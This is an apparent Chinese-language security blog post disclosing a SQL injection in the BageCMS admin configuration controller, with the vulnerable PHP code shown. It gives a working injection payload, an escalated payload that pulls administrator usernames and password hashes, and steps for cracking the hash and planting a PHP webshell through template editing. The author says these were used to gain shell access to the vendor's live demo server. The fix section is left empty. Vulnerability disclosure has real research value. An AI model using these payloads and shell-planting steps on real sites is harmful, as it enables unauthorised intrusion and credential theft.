不是我杠上了shuguang,而是漏洞就在那里。
非常蛋疼,乌云那边说后台注入不通过-,-
好吧,我不该发成漏洞,而应该发成入侵事件,因为我已经拿到服务器权限了。找这个注入其实也不是为了找bagecms的漏洞,而是为了黑掉www.bagecms.com这个服务器。
因为对于曙光的服务器来说危害确实挺大的,先联系到他,他确认修复了我再公开,乌云那边,就那样吧。
==========
update:2014.10.13
看到曙光发了补丁包,具体内容没看,应该是修复了,这边我就直接公开了。
这次是SQL注入漏洞。
本来bagecms是基于Yii1去写的,如果Yii编码规范去写的话,是不会出现SQL注入的,因为都是采用参数绑定方式进行SQL操作。
但是,偏偏有地方就是自己在拼SQL语句,呵呵呵呵呵。
0x01 漏洞分析
这是后台SQL注入,确实比较鸡肋,但是利用场景呢,刚好就是官网demo!
demo.bagecms.com,官网demo给出的是一个低权限帐号,基本只有查看权限,没有什么实际修改权限。但是这个权限刚刚好,可以用来进行注入。
注入点位置是在网站配置部分。
#admini ConfigController /** * 更新数据 * */ private function _updateData ($data, $scope = 'base') { if (XUtils::method() == 'POST') { foreach ((array) $data as $key => $row) { $row = XUtils::addslashes($row); $connection = Yii::app()->db->createCommand("REPLACE INTO {{config}}(`scope`, `variable`, `value`) VALUES('$scope','$key', '$row') ")->execute(); } XXcache::refresh('_config', 3600); parent::_adminiLogger(array ('catalog' => 'update' , 'intro' => '更新系统配置,模块:' . $this->action->id )); XUtils::message('success', '更新完成', $this->createUrl($this->action->id)); } }
所有的配置选项,都是采用这种方式,使用REPLACE INTO的方式来insert/update的。这里没有使用Yii提供的参数绑定功能,而是使用可控参数拼接字符串,,$scope、$key、$row这三个参数都没经过处理直接带入SQL执行,于是便形成了一个update(replace)型的SQL注入。
以官方demo开放的功能为例,在后台的自定义设置中,插入注入语句。
#admini ConfigController /** * 自定义字段 */ public function actionCustom () { parent::_acl(); if (XUtils::method() == 'POST') { foreach ((array) $_POST['attr'] as $key => $row) { $val = is_array( $row['val'] ) ? implode( ',', $row['val'] ) : $row['val']; $var = $row["name"];//name和value属性都没有经过处理,直接带入SQL执行。 $connection = Yii::app()->db->createCommand("REPLACE INTO {{config}}(`scope`, `variable`, `value`) VALUES('custom','$var', '$val') ")->execute(); } XXcache::refresh('_config', 3600); parent::_adminiLogger(array ('catalog' => 'update' , 'intro' => '更新系统配置,模块:' . $this->action->id )); XUtils::message('success', '更新完成', $this->createUrl($this->action->id)); } $attrModel = Attr::lists(0, 'config'); $this->render('custom', array ('attrData' => self::loadData() , 'attrModel' => $attrModel)); }
使用的SQL语句是
REPLACE INTO {{config}}(`scope`, `variable`, `value`) VALUES('custom','$var', '$val')
其中{{config}}是表名,Yii会自动添加前缀。
可控变量很多,以$var为例,只要构造$var=var',(select @@version))#,即可闭合搜索语句,并注释掉后边的无用语句。
#注入的语句 REPLACE INTO {{config}}(`scope`, `variable`, `value`) VALUES('custom','_mobile',(select @@version))#, '$val')
将对应的var的value保存为@@version的值,提交后查看配置就能看到结果。
0x02 漏洞证明与官网演示
在设置-自定义设置页面中, 将最后一个设置的name修改为payload。
即把value="_mobile"修改为value="_mobile',(select @@version))#"。
保存后即可看到数据库的版本号,即5.5.37。
这只是POC,真正要利用,可以改为
_mobile',(select concat(username,0x7c,password) from {{admin}} limit 1))#
保存后可以查看到管理员的帐号与密码。
之后就是破解md5登录后台,拿shell。
后台拿shell的方法很简单,之前那个xss getshell也是用这种方法。
界面-网站模板-模板编辑,demo站的代码与开放的版本不同,这里在新建文件时候,文件夹名字不能包含../。我们可以修改已有文件,或者直接增加一个文件。
例如我增加的是
http://demo.bagecms.com/themes/default/views/dsf/i.php
即可拿到shell。
0x03 修复建议
能先确认了吗?
留言交流